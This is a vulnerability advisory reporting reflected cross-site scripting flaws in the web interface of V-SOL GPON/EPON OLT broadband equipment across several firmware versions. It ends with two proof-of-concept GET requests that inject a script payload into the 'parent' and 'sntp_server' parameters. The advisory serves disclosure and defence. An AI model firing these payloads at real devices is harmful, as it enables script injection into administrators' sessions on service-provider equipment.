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V-SOL GPON/EPON OLT Platform v2.03 Reflected XSS Vulnerability  
  
  
Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.  
Product web page: https://www.vsolcn.com  
Affected version: V2.03.62R_IPv6  
V2.03.54R  
V2.03.52R  
V2.03.49  
V2.03.47  
V2.03.40  
V2.03.26  
V2.03.24  
V1.8.6  
V1.4  
  
Summary: GPON is currently the leading FTTH standard in broadband access  
technology being widely deployed by service providers around the world.  
GPON/EPON OLT products are 1U height 19 inch rack mount products. The  
features of the OLT are small, convenient, flexible, easy to deploy, high  
performance. It is appropriate to be deployed in compact room environment.  
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and  
ICT applications.  
  
Desc: The application is prone to multiple reflected cross-site scripting  
vulnerabilities due to a failure to properly sanitize user-supplied input  
to several parameters that are handled by various scripts. Attackers can  
exploit this issue to execute arbitrary HTML and script code in a user's  
browser session.  
  
Tested on: GoAhead-Webs  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5537  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5537.php  
  
25.09.2019  
  
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GET /action/bindProfile.html?parent="><script>confirm(251)</script>&gponid=2&gonuid=7  
GET /action/ntp.html?sntp_en=1&time_zone=05%3A30&sntp_server="><script>confirm(251)</script>&who=0